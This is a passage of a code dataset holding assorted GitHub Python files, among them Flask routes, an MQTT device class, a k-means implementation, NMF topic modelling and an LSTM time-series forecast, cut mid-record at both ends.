main()\n","repo_name":"harshit-allumolu/FeedForward-Neural-Network","sub_path":"xor.py","file_name":"xor.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30567244815","text":"from random import uniform, randint\n\n\nclass Parser:\n    def __init__(self, filename):\n        self.filename = filename\n        f = open(self.filename, 'r')\n        self.lines = f.readlines()\n\n    def parse_file_matrix(self):\n\n        new_lines = [i for i in self.lines[3:]]\n\n        intermediate = [i.split(', ') for i in new_lines]\n\n        intermediate = list(map(lambda x: (float(x[0]), int(x[1]), int(x[2].strip('\\n'))), intermediate))\n\n        intermediate.sort(key=lambda x: (x[1], x[2]))\n\n        #check simmetry\n        swap_inter = list(map(lambda x: (x[0], x[2], x[1]), intermediate))\n\n        swap_inter.sort(key=lambda x: (x[2], x[1]))\n\n        for i, j in zip(swap_inter, intermediate):\n            assert i[0] - j[0] < 10**(-8)\n\n        return self.make_sparse_structure(intermediate, int(self.lines[0].strip('\\n')))\n\n    @staticmethod\n    def make_sparse_structure(struct, size):\n        count, i = 1, 1\n\n        while i < len(struct):\n            if struct[i - 1][1] != struct[i][1]:\n                struct.insert(i, (0, -count))\n                count += 1\n                i += 1\n            i += 1\n        for i in range(len(struct)):\n            if struct[i][0] != 0:\n                struct[i] = struct[i][:1] + struct[i][2:]\n                # print(i)\n\n        struct.insert(0, (0, 0))\n        struct.append((0, -size))\n        return size, struct\n\n    def generate_random(self, size):\n        struct = []\n        for i in range(size):\n            struct.append((uniform(500, 1000), i, i))\n\n        for i in range(size):\n            a = randint(0, 5)\n            for j in range(a):\n                if i != j:\n                    value = uniform(-10, 10)\n                    struct.append((value, i, j))\n                    struct.append((value, j, i))\n        struct.sort(key=lambda x: (x[1], x[2]))\n        return struct\n","repo_name":"dev-alberto/Numerical-Analysis-","sub_path":"Tema6/cn_parser.py","file_name":"cn_parser.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72641159689","text":"import datetime\nfrom app import app\nfrom app import db\nfrom flask import render_template, redirect, url_for, flash\nfrom app.models import File, User\nfrom app.forms import SearchFileForm, RegisterFileForm, LoginUserForm, RegisterUserform\nfrom flask_login import login_user, logout_user, login_required, current_user\n\n@app.route('/', methods=['POST', 'GET'])\n@app.route('/home', methods=['POST', 'GET'])\ndef home_page():\n    form = SearchFileForm()\n\n    if form.validate_on_submit():\n        attempend_file = File.query.filter_by(file_number_format=form.number_of_file.data).first()\n        if attempend_file:\n            flash(f'Encontrado! {attempend_file.file_user_name}', category='success')\n            return redirect(url_for('view_file_page', file_number=attempend_file.file_number_format))\n        else:\n            flash('Expediente no encontrado, verifica bien el numero', category='danger')\n\n    if form.errors != {}:\n        for err_message in form.errors.values():\n            flash(f'Ocurrio un error! {err_message[0]}', category='danger')\n\n    return render_template('home.html', form=form)\n\n@app.route('/register_file', methods=['POST', 'GET'])\ndef register_file_page():\n    form = RegisterFileForm()\n\n    if form.validate_on_submit():\n        files_numbers = db.session.query(File.file_number_format)\n        all_numbers = files_numbers.all()\n        if all_numbers == []:\n            last_number = 0\n        else:\n            last_number = all_numbers[len(all_numbers)-1]\n            last_number = int(last_number[0])\n\n        file_to_create = File(file_number=last_number,\n                              file_user_name=form.file_user_name.data,\n                              file_user_dni=form.file_user_dni.data,\n                              file_user_phone=form.file_user_phone.data,\n                              file_user_email=form.file_user_email.data,\n                              file_subject=form.file_subject.data,\n                              file_justification=form.file_justification.data)\n\n        db.session.add(file_to_create)\n        db.session.commit()\n\n        flash(f'Registrado con exito!', category='success')\n        # return redirect(url_for('view_file_page', number_of_file=file_to_create.number_file))\n        return redirect(url_for('view_file_page', file_number=file_to_create.file_number_format))\n\n    if form.errors != {}:\n        for err_message in form.errors.values():\n            flash(f'Ocurrio un error! {err_message[0]}', category='danger')\n\n    return render_template('register_file.html', form=form)\n\n@app.route('/file/<file_number>')\ndef view_file_page(file_number):\n    attempend_file = File.query.filter_by(file_number_format=file_number).first()\n    date_and_time = attempend_file.file_date\n    only_time = datetime.datetime.strftime(date_and_time, '%H:%M:%S')\n    only_date = datetime.datetime.strftime(date_and_time, '%Y/%m/%d:')\n\n    return render_template('file.html', attempend_file=attempend_file, time=only_time, date=only_date)\n\n@app.route('/files')\n@login_required\ndef files_page():\n    files = File.query.all()\n    return render_template('files.html', files = files)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login_user_page():\n    form = LoginUserForm()\n    if form.validate_on_submit():\n        attempted_user = User.query.filter_by(username=form.username.data).first()\n        if attempted_user and attempted_user.check_password_correction(\n            attempted_password=form.password.data\n        ):\n            login_user(attempted_user)\n            flash(f'Inicio de sesion satisfactorio {attempted_user.username}', category='success')\n            return redirect(url_for('files_page'))\n        else:\n            flash('El nombre de usuario y la contraseña no coinciden! por favor intente de nuevo', category='danger')\n    return render_template('login_user.html', form=form)\n\n@app.route('/register_user', methods=['POST', 'GET']) \ndef register_user_page():\n    form = RegisterUserform()\n    if form.validate_on_submit():\n        user_to_create = User(username=form.username.data,\n                              password=form.password1.data)\n        db.session.add(user_to_create)\n        db.session.commit()\n        login_user(user_to_create)\n        flash(f'Usuario registrado correctamente! Bienvenido {user_to_create.username}', category='success')\n        return redirect(url_for('files_page'))\n    if form.errors != {}:\n        for err_msg in form.errors.values():\n            flash(f'Hubo un error registrando al usuario: {err_msg}', category='danger')\n\n    return render_template('register_user.html', form=form)\n\n@app.route('/logout')\ndef logout_page():\n    logout_user()\n    flash(\"Se cerro sesion correctamente!\", category='info')\n\n    return redirect(url_for(\"home_page\"))","repo_name":"bugdalf/std-huancane","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7104838955","text":"import subprocess\nfrom argparse import ArgumentParser, Namespace\nimport subprocess\n\ndef parse_cmd_args() -> Namespace:\n    # Create an ArgumentParser object\n    parser = ArgumentParser(description='Download CMake')\n\n    # Add arguments to the parser\n    parser.add_argument('--command', type=str, help='shell command', required=False)\n\n    # Parse the command-line arguments\n    args = parser.parse_args()\n    return args\n\n\ndef command( cmd : str ):\n    # Split the command string into a list of arguments\n    try:\n        # Run the command and capture the output\n        output = subprocess.run(cmd, capture_output=True, check=True, shell=True)\n        # Print the output\n        print(output.stdout.decode())\n    except subprocess.CalledProcessError as e:\n        # Print the error message\n        print(e.stderr.decode())\n        \n        \nif __name__ == \"__main__\":\n    args = parse_cmd_args()\n    command(args.command)","repo_name":"zaki-x86/cxx_project_template","sub_path":"scripts/command_runner.py","file_name":"command_runner.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"7407469146","text":"import sys\nfrom client import Spotify\nimport util as util\nfrom scope_builder import ScopeBuilder\nimport pickle\nfrom auth_values import CLIENT_ID\nfrom auth_values import CLIENT_SECRET\nfrom auth_values import REDIRECT_URL\nfrom auth_values import USERNAME\n\nstore = {}\ntry:\n    with open('store.pkl', 'rb') as f:\n        store = pickle.load(f)\nexcept FileNotFoundError:\n    print(\"No existing store\")\n\nstore['test_id'] = \"spotify:user:andrew_walker2:playlist:6VXKlqxCX4ItIHWgFT9I6c\"\n\nscope = ScopeBuilder().library().spotify_connect().get_scopes()\n\nif len(sys.argv) > 1:\n    username = sys.argv[1]\nelse:\n    print(\"Usage: %s username\" % (sys.argv[0],))\n    sys.exit()\n\ntoken = util.prompt_for_user_token(USERNAME, scope, client_id=CLIENT_ID, client_secret=CLIENT_SECRET, redirect_uri=REDIRECT_URL)\n\ndevice = None\n\nif token:\n    sp = Spotify(auth=token)\n    devices = sp.devices()\n    devices = devices['devices'][0]['id']\nelse:\n    print(\"Can't get token for\", username)\n\nwith open('store.pkl', 'wb') as f:\n    pickle.dump(store, f, pickle.HIGHEST_PROTOCOL)\n","repo_name":"walker76/spotify-controller","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"26131553080","text":"import pickle\r\nimport json\r\nimport numpy as np\r\n\r\n__locations = None\r\n__data_columns = None\r\n__model = None\r\n\r\ndef get_estimated_price(suburb,Type,rooms):\r\n    try:\r\n        loc_index = __data_columns.index(suburb.lower())\r\n    except:\r\n        loc_index = -1\r\n\r\n    loc_index = np.where(X.columns==suburb)[0][0]\r\n\r\n    x = np.zeros(len(X.columns))\r\n    x[0] = rooms\r\n    x[1] = Type\r\n    if loc_index >= 0:\r\n        x[loc_index] = 1\r\n\r\n\r\n    return round(__model.predict([x])[0],2)\r\n\r\n\r\ndef load_saved_artifacts():\r\n    print(\"loading saved artifacts...start\")\r\n    global  __data_columns\r\n    global __locations\r\n\r\n    with open(\"./artifacts/columns.json\", \"r\") as f:\r\n        __data_columns = json.load(f)['data_columns']\r\n        \r\n        __locations = __data_columns[3:]  # first 3 columns are sqft, bath, bhk\r\n\r\n    global __model\r\n    if __model is None:\r\n        with open('./artifacts/melbourne_house_price_model.pickle', 'rb') as f:\r\n            __model = pickle.load(f)\r\n    print(\"loading saved model...done\")\r\n\r\ndef get_location_names():\r\n    return __locations\r\n\r\ndef get_data_columns():\r\n    return __data_columns\r\n\r\nif __name__ == '__main__':\r\n    load_saved_artifacts()\r\n","repo_name":"konskyrt/Predicting-Home-Prices","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"23887606291","text":"class Solution:\n    def __init__(self):\n        self.stack1 = []\n        self.stack2 = []\n\n    def push(self, node):\n        self.stack1.append(node)\n        # write code here\n\n    def pop(self):\n        if not self.stack2 and not self.stack1:\n            return None\n        if not self.stack2:\n            while self.stack1:\n                self.stack2.append(self.stack1.pop())\n        return self.stack2.pop()\n\n\nif __name__ == '__main__':\n    queue = Solution()\n    for i in [1, 2, 3]:\n        queue.push(i)\n    for _ in range(3):\n        print(queue.pop())\n","repo_name":"wylu/pyoffer","sub_path":"用两个栈实现队列.py","file_name":"用两个栈实现队列.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32304861078","text":"import glob\nimport importlib\nimport inspect\nimport logging\nimport re\nimport sys\nimport traceback\nfrom datetime import datetime\nfrom os.path import basename, dirname, isfile, join, splitext\nfrom xml.dom import minidom\nfrom xml.etree import ElementTree\nfrom xml.etree.ElementTree import Element, SubElement\n\nfrom device.mantimermanager import ManTimerManager\nfrom dictionary import dictionary_parse, dictionary_write\nfrom util import b2s, bfromhex, init_logger, s2b, tohexs\n\nDEVICE_SAVE_FLAG_TABLE = 1\nDEVICE_SAVE_FLAG_MAIN = 2\n\n\n_LOGGER = init_logger(__name__, level=logging.DEBUG)\n\n\nif sys.version_info >= (3, 0):\n    long = int\n\n\nclass Device(object):\n    epoch = datetime.utcfromtimestamp(0)\n    GET_STATE_ACTION = '-999'\n\n    def process_asynch_state_change(self, state, device_connected=None):\n        pass\n\n    def connect_devices(self, device_map):\n        pass\n\n    def state_value_conv(self, s):\n        return s\n\n    def mqtt_publish_onfinish(self, action, retval):\n        return []\n\n    def parse_action_timer_args(self, args):\n        return ' '.join(args)\n\n    def mqtt_stop(self):\n        if self.mqtt_client:\n            for topic, _ in self.mqtt_subscribe_topics():\n                self.mqtt_client.unsubscribe(topic)\n\n    def mqtt_topic(self, prefix, suffix):\n        return str(prefix + '/' + self.__class__.__name__[6:].lower() + \"/\" + self.name + \"/\" + suffix)\n\n    def mqtt_sub(self, topic):\n        mo = re.search(r\"^[^/]+/\" + self.__class__.__name__[6:].lower() + \"/\" + self.name + r\"/([^/]+)$\", topic)\n        return mo.group(1) if mo else ''\n\n    def mqtt_subscribe_topics(self):\n        return []\n\n    def mqtt_publish_onstart(self):\n        return []  # lista di dict con topic msg e options(retain, qos)\n\n    def mqtt_on_subscribe(self, client, userdata, mid, granted_qos):\n        pass\n\n    def mqtt_on_publish(self, client, userdata, mid):\n        _LOGGER.info(self.name + \" pub mid: \" + str(mid))\n\n    def mqtt_on_connect(self, client, userdata, flags, rc):\n        _LOGGER.info(self.name + \" CONNACK received with code %d.\" % (rc))\n        self.mqtt_publish_all(self.mqtt_publish_onstart())\n        lsttopic = self.mqtt_subscribe_topics()\n        if lsttopic and self.mqtt_userdata:\n            self.mqtt_userdata.mqtt_subscribe(client, userdata, self, lsttopic)\n\n    def mqtt_on_message(self, client, userdata, msg):\n        if msg.topic.startswith(f\"cmnd/{self.__class__.__name__[6:].lower()}/{self.name}/\") or self.mqtt_subscribe_topics():\n            _LOGGER.info(\n                f\"{self.name} MSG {msg.topic} ({msg.qos})-> {b2s(msg.payload)}\")\n\n    def mqtt_publish_all(self, lsttopic):\n        if self.mqtt_client:\n            for p in lsttopic:\n                retain = p[\"options\"].get('retain', False)\n                if not retain or self.mqtt_topic_retain.get(p[\"topic\"], None) != p[\"msg\"]:\n                    _LOGGER.info(f\"{self.name} publishing {p['topic']} -> {p['msg']}\")\n                    self.mqtt_client.publish(\n                        p[\"topic\"], p[\"msg\"], **p[\"options\"])\n                    if retain:\n                        self.mqtt_topic_retain[p[\"topic\"]] = p[\"msg\"]\n\n    def mqtt_start(self, client, userdata):\n        self.mqtt_client = client\n        self.mqtt_userdata = userdata\n        self.mqtt_on_connect(client, userdata, 0, 0)\n\n    def __eq__(self, other):\n        \"\"\"Override the default Equals behavior\"\"\"\n        if isinstance(other, Device):\n            return self.mac == other.mac\n        else:\n            return False\n\n    @staticmethod\n    def unix_time_millis(dt):\n        return long((dt - Device.epoch).total_seconds() * 1000)\n\n    @staticmethod\n    def load(fn):\n        xmldoc = minidom.parse(fn)\n        items = xmldoc.getElementsByTagName('device')\n        dictionary = dictionary_parse(xmldoc)\n        _LOGGER.info(f\"Dictionary has {len(dictionary)} items\")\n        devices = {}\n        modules = glob.glob(join(dirname(__file__), \"*.py\"))\n        pls = [splitext(basename(f))[0] for f in modules if isfile(f)]\n        classes = dict()\n        for x in pls:\n            if not x.startswith('__'):\n                m = importlib.import_module(f\"device.{x}\")\n                clsmembers = inspect.getmembers(m, inspect.isclass)\n                classes.update({cla[0]: cla[1] for cla in clsmembers})\n        for item in items:\n            try:\n                clname = item.attributes['type'].value\n                if clname in classes:\n                    dev = classes[clname](root=item)\n                    devices[dev.name] = dev\n            except:  # noqa: E722\n                _LOGGER.warning(f\"{traceback.format_exc()}\")\n                pass\n        _LOGGER.info(f\"Device number is {len(devices)}\")\n        return devices\n\n    def do_presend_operations(self, action, actionexec):\n        if isinstance(self, ManTimerManager):\n            return ManTimerManager.do_presend_operations(self, action, actionexec)\n        return 1\n\n    def do_postsend_operations(self, action, actionexec):\n        pass\n\n    def prepare_additional_file(self, root, flag):\n        pass\n\n    def send_action(self, actionexec, action, pay):\n        return None\n\n    def get_action_payload(self, action):\n        return ''\n\n    def on_stop(self):\n        pass\n\n    @staticmethod\n    def __save(save_devices, save_filename, flag=0):\n        if flag & DEVICE_SAVE_FLAG_TABLE:\n            save_filename += \".tmp.xml\"\n        root = Element('orvpy')\n        dictionary_write(root)\n        devs = SubElement(root, \"devices\")\n        for _, d in save_devices.copy().items():\n            if flag & DEVICE_SAVE_FLAG_TABLE:\n                d.prepare_additional_file(devs, flag)\n            else:\n                d.xml_element(devs, flag)\n        with open(save_filename, \"w\") as text_file:\n            text_file.write(Device.xml_prettify(root))\n\n    @staticmethod\n    def save(save_devices, save_filename, flag=DEVICE_SAVE_FLAG_MAIN | DEVICE_SAVE_FLAG_TABLE):\n        if (flag & DEVICE_SAVE_FLAG_MAIN):\n            Device.__save(save_devices, save_filename, DEVICE_SAVE_FLAG_MAIN)\n        if (flag & DEVICE_SAVE_FLAG_TABLE):\n            Device.__save(save_devices, save_filename, DEVICE_SAVE_FLAG_TABLE)\n\n    def __str__(self, *args, **kwargs):\n        \"\"\"localtime   = time.localtime(self.subscribe_time)\n        timeString  = time.strftime(\"%Y%m%d %H%M%S\", localtime)\n        return self.host+\"(\"+self.__class__.__name__+\": \"+self.name+\");\"+self.mac+\";\"+timeString\n        \"\"\"\n        return self.__class__.__name__ + \"(\" + self.name + \")\"\n\n    @staticmethod\n    def xml_prettify(elem):\n        \"\"\"Return a pretty-printed XML string for the Element.\n        \"\"\"\n        rough_string = ElementTree.tostring(elem, 'utf-8')\n        reparsed = minidom.parseString(rough_string)\n        return reparsed.toprettyxml(indent=\"  \")\n\n    def default_name(self):\n        return 'dev_' + tohexs(self.mac)\n\n    def __init__(self, hp=('', 0), mac='', root=None, name='', **kw):\n        if root is None:\n            self.host = hp[0]\n            self.port = hp[1]\n            self.mac = s2b(mac)\n            self.name = self.default_name() if not len(name) else name\n            self.offlimit = 60\n        else:\n            self.host = root.attributes['host'].value\n            self.port = int(root.attributes['port'].value)\n            self.mac = bfromhex(root.attributes['mac'].value)\n            self.name = root.attributes['name'].value\n            try:\n                self.offlimit = int(root.attributes['offlimit'].value)\n            except:  # noqa: E722\n                _LOGGER.warning(f\"{traceback.format_exc()}\")\n                self.offlimit = 60\n        self.timers = None\n        self.offt = 0\n        self.mqtt_client = None\n        self.mqtt_userdata = None\n        self.mqtt_topic_retain = dict()\n        self.homeassistant = ''\n\n    def set_homeassistant(self, h):\n        self.homeassistant = h\n\n    def copy_extra_from(self, already_saved_device):\n        self.timers = already_saved_device.timers\n        self.port = already_saved_device.port\n        self.host = already_saved_device.host\n        self.offlimit = already_saved_device.offlimit\n\n    def to_dict(self):\n        # a = datetime(1900,1,1,0,0,0)\n        # b = a + timedelta(seconds=self.sec1900)\n        # b.strftime('%d/%m/%Y %H:%M:%S')\n        return {\n            \"host\": str(self.host),\n            \"port\": str(self.port),\n            \"offlimit\": str(self.offlimit),\n            \"mac\": tohexs(self.mac),\n            \"type\": self.__class__.__name__,\n            \"mytime\": str(Device.unix_time_millis(datetime.now())),\n            \"name\": self.name\n        }\n\n    def to_json(self):\n        rv = self.to_dict()\n        rv.update({\n            'offt': str(int(self.offt)),\n            'timers': [] if self.timers is None else self.timers,\n        })\n        return rv\n\n    def __xml_basic(self, root):\n        return SubElement(root, \"device\", self.to_dict())\n\n    def xml_element(self, root, flag=0):\n        return self.__xml_basic(root)\n","repo_name":"p3g4asus/orvpy","sub_path":"src/device/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33483062245","text":"# -*- coding: utf-8 -*-\n\n# https://sanjayasubedi.com.np/nlp/nlp-with-python-topic-modeling/\n# der Plan:\n# Topics aus Trainingskorpus extrahieren und visualisieren. \n# Dann das Topic von Testdokumenten schaetzen, mit dem Modell.\n# in scrapeweb/scripts/main_testwordvec.py werden pdfs zur Verarbeitung gelesen:\n# speichert u.a average vektoren in dgdai.ontwordvectors und\n# die Texte aus den PDFs in collection traincorpus\n# Ausführung dieses Scripts über spyder ist am einfachsten (F5) - nur möglich wenn eine Datenbankverbindung hergestellt werden konnte.\n\nfrom sklearn.datasets import load_files\nimport pandas as pd\nimport spacy\nimport sys\n# sys.path.append('../')  # geloest durch Anpassung des pythonpath ueber den python path manager in spyder\nfrom prep.connectdb import *\nfrom scripts.main_testwordvec1 import TextCorpus\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.decomposition import NMF\nfrom matplotlib import pyplot as plt\nfrom wordcloud import WordCloud, STOPWORDS\nimport matplotlib.colors as mcolors\n\nnlp = spacy.load(\"en_core_web_sm\", disable=['parser', 'ner'])\n\npdf_texts = []\ntry:\n    # already preprocessed documents are available in dgdai.traincorpus.LemmaNoStopText\n    connectdb()\n    print('connected to db')\n    \n    _LemmaNoStopText = TextCorpus.objects()\n    for texts in _LemmaNoStopText:\n        pdf_texts.append(texts.LemmaNoStopText)\nexcept:\n    print('err')\n\nmy_df = pd.DataFrame({'texts': pdf_texts})\n\n# we are working only with nouns because topics are made up of nouns only\ndef only_nouns(texts):\n    output = []\n    for doc in nlp.pipe(texts):\n        noun_text = \" \".join(token.lemma_ for token in doc if token.pos_ == 'NOUN')\n        output.append(noun_text)\n    return output\n\nmy_df['texts'] = only_nouns(my_df['texts'])\n\n# number of topics to extract\nn_topics = 4\n\n#sklearn functions\nvec = TfidfVectorizer(max_features=5000, stop_words=\"english\", max_df=0.95, min_df=2)\nfeatures = vec.fit_transform(my_df.texts)\n\ncls = NMF(n_components=n_topics, random_state=0)\ncls.fit(features)\n#Our model is now trained and is ready to be used.\n\nfeature_names = vec.get_feature_names()\n\n# number of most influencing words to display per topic\nn_top_words = 15\n\ntopics_wo_score = []\nfor i, topic_vec in enumerate(cls.components_):\n    # topic_vec.argsort() produces a new array\n    # in which word_index with the least score is the\n    # first array element and word_index with highest\n    # score is the last array element. Then using a\n    # fancy indexing [-1: -n_top_words-1:-1], we are\n    # slicing the array from its end in such a way that\n    # top `n_top_words` word_index with highest scores\n    # are returned in descending order\n    twords = ''\n    for fid in topic_vec.argsort()[-1:-n_top_words-1:-1]:\n        #print(feature_names[fid], end=' ')\n        twords = twords + ' ' + feature_names[fid]\n    topics_wo_score.append((i, twords))\n\nprint(topics_wo_score)\n    \n# Visualisation of topics from https://www.machinelearningplus.com/nlp/topic-modeling-visualization-how-to-present-results-lda-models/\n# funktioniert mit 4 topics\n\ncols = [color for name, color in mcolors.TABLEAU_COLORS.items()]  # more colors: 'mcolors.XKCD_COLORS'\ncloud = WordCloud(background_color='white',\n                  width=5000,\n                  height=3600,\n                  max_words=10,\n                  colormap='tab10',\n                  color_func=lambda *args, **kwargs: cols[i],\n                  prefer_horizontal=1.0)\n\nfig, axes = plt.subplots(2, 2, figsize=(10,10), sharex=True, sharey=True)\n\nfor i, ax in enumerate(axes.flatten()):\n    fig.add_subplot(ax)\n    #topic_words = dict(topics_wo_score[i][1])\n    #cloud.generate_from_frequencies(topic_words, max_font_size=300)\n    cloud.generate_from_text(topics_wo_score[i][1]) #, max_font_size=300)\n    #plt.figure( figsize=(20,20), facecolor='k')\n    plt.gca().imshow(cloud)\n    plt.gca().set_title('Topic ' + str(i), fontdict=dict(size=16))\n    plt.gca().axis('off')\n\nplt.subplots_adjust(wspace=0, hspace=0)\nplt.axis('off')\nplt.margins(x=0, y=0)\nplt.tight_layout()\nplt.show()\n\n\n# sample prediction\ntest_chapters = [\n    \"Playstation network was down so many people were angry\",\n    \"Germany scored 7 goals against Brazil in worldcup semi-finals\"\n]\n    \nmy_predictions = cls.transform(vec.transform(test_chapters)).argsort(axis=1)[:,-1]\nprint(my_predictions)\n\n# real evaluation (Daten werden nicht bereitgestellt)\n#test_df = pd.read_csv('manually_assembled_test_dataset.csv')\n\n#for index, row in test_df:    \n#    print('prediction for ', index)\n#    print(cls.transform(vec.transform(row['text'])).argsort(axis=1)[:,-1])\n\n# es gab auch eine Variante in der verschiedene Texte direkt hardcodiert hier in der Liste gespeichert wurden. Die Texte wurden entfernt.\ntest_list = []\n\nmy_predictions = cls.transform(vec.transform(test_list)).argsort(axis=1)[:,-1]\nprint(my_predictions)\n\n   ","repo_name":"fguendling/masters_thesis","sub_path":"4-2/4-2-2/non_negative_matrix_factorization.py","file_name":"non_negative_matrix_factorization.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12572514026","text":"import os\nimport json\nimport re\n\nimport config\n\n\ntranslations_path = os.path.join(config.BASEDIR, 'translations')\ntranslation_files = {}\n\n\ndef run(verbose=False):\n    for filename in os.listdir(translations_path):\n        locale = filename.split(\".\")[0]\n        with open(os.path.join(translations_path, filename), 'r') as f:\n            translation_files[locale] = json.load(f)\n\n    for dirpath, dirnames, files in os.walk(config.BASEDIR):\n        for name in files:\n            if name.lower().endswith('.py') or name.lower().endswith('.jinja2'):\n                with open(os.path.join(dirpath, name), 'r') as f:\n                    if verbose:\n                        print(f'{dirpath}/{name}')\n                    check_file_for_missing_translations(f, verbose)\n\n\ndef check_file_for_missing_translations(f, verbose=False):\n    file_contents = f.read()\n    m = re.findall(r\"localise\\('(.*)'\", file_contents)\n    for locale, translation_file in translation_files.items():\n        for localisation in m:\n            if verbose:\n                print(f'--> {localisation}')\n            if not translation_file.get(localisation):\n                print(f'{localisation} not found in file {locale}')\n            if verbose:\n                print(f'----> Exists.')\n\n\n\nif __name__ == '__main__':\n    run(verbose=False)\n\n\n\n\n\n","repo_name":"tecladocode/secret-santa","sub_path":"scripts/find_missing_translations.py","file_name":"find_missing_translations.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4106591854","text":"import random\n\nimport numpy as np\n\n\ndef distance(a: np.ndarray, b: np.ndarray):\n    \"\"\"\n    计算两个向量的欧式距离\n    \"\"\"\n    return np.sqrt(np.sum((a - b) ** 2))\n\n\ndef get_prototypes(dataset: np.ndarray, k: int):\n    # 从数据集中随机无放回的随机采样 k 个样本作为原型\n    rand_idx = random.sample(range(len(dataset)), k)\n    prototypes = [dataset[idx] for idx in rand_idx]\n\n    # 迭代下降\n    while True:\n        clusters: list[list[np.ndarray]] = [[] for _ in range(k)]  # k个簇，初始为空\n\n        # step: 计算簇\n        for sample in dataset:\n            d = [distance(sample, prototypes[j]) for j in range(k)]  # 计算该样本与各原型的距离\n            idx = d.index(min(d))  # 取得与该样本距离最小的原型下标\n            clusters[idx].append(sample)  # 将该样本放入距离最小原型对应的簇中\n\n        # step: 更新原型\n        updated = False\n        for i in range(k):\n            prototype: np.ndarray = np.average(clusters[i], axis=0)  # 计算新的原型\n            if all(prototype != prototypes[i]):  # 如果原型有变化\n                updated = True\n                prototypes[i] = prototype  # 更新原型\n        print(prototypes)\n        if not updated:  # 如果所有原型都没有变化\n            return prototypes  # 如果原型均没有更新，则说明收敛。\n\n\ndef test():\n    print(get_prototypes(np.array([[100, 100], [50, 50], [150, 150], [-100, -100], [-50, -50], [-150, -150]]),\n                         k=2))\n\n\nif __name__ == '__main__':\n    test()\n","repo_name":"tobyprime/MachineLearning","sub_path":"Clustering/kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5801361603","text":"import os\nfiles_count = 0\ncount_strings = 0\nfor root, dirs, files in os.walk(\"M://Garbage/ais\"):\n    for filename in files:\n        if filename[-3:] == '.cs':\n            files_count += 1\n            print(filename)\n            qqq = os.path.join(root, filename)\n            my_file_name = qqq.replace('\\\\', '/')\n            with open(my_file_name,'rt', encoding='utf-8') as f:\n                temp = len(f.readlines())\n                count_strings += temp\n\n\nprint('Всего в проекте ', files_count, 'файлов с кодом')\nprint('А написано', count_strings, 'строк кода')\n\n\n\n","repo_name":"lapssh/codder_learning","sub_path":"courses/netology/Py_Data/how_namy_str_code.py","file_name":"how_namy_str_code.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31766581221","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndf = pd.read_csv('monthly_milk_production.csv',index_col='Date',parse_dates=True)\r\ndf.index.freq='MS'\r\n\r\ndf.plot(figsize=(12,6))\r\n\r\nfrom statsmodels.tsa.seasonal import seasonal_decompose\r\n     \r\nresults = seasonal_decompose(df['Production'])\r\nresults.plot();\r\n\r\n#training set and test set\r\ntrain = df.iloc[:156]\r\ntest = df.iloc[156:]\r\n\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nscaler = MinMaxScaler()\r\n\r\nscaler.fit(train)\r\nscaled_train = scaler.transform(train)\r\nscaled_test = scaler.transform(test)\r\n     \r\nfrom keras.preprocessing.sequence import TimeseriesGenerator\r\n\r\n# define generator\r\n\r\nn_input = 12\r\nn_features = 1\r\ngenerator = TimeseriesGenerator(scaled_train, scaled_train, length=n_input, batch_size=1)\r\n     \r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import LSTM\r\n     \r\n# define model\r\nmodel = Sequential()\r\nmodel.add(LSTM(100, activation='relu', input_shape=(n_input, n_features)))\r\nmodel.add(Dense(1))\r\nmodel.compile(optimizer='adam', loss='mse')\r\n     \r\nprint(model.summary())\r\n\r\n# fit model\r\nmodel.fit(generator,epochs=35)\r\n\r\nlast_train_batch = scaled_train[-12:]\r\nlast_train_batch = last_train_batch.reshape((1, n_input, n_features))\r\nmodel.predict(last_train_batch)\r\n\r\ntest_predictions = []\r\n\r\nfirst_eval_batch = scaled_train[-n_input:]\r\ncurrent_batch = first_eval_batch.reshape((1, n_input, n_features))\r\n\r\nfor i in range(len(test)):\r\n    # get the prediction value for the first batch\r\n    current_pred = model.predict(current_batch)[0]\r\n    # append the prediction into the array\r\n    test_predictions.append(current_pred) \r\n    # use the prediction to update the batch and remove the first value\r\n    current_batch = np.append(current_batch[:,1:,:],[[current_pred]],axis=1)\r\n\r\nprint(test_predictions)\r\ntrue_predictions = scaler.inverse_transform(test_predictions)\r\n\r\ntest['Predictions'] = 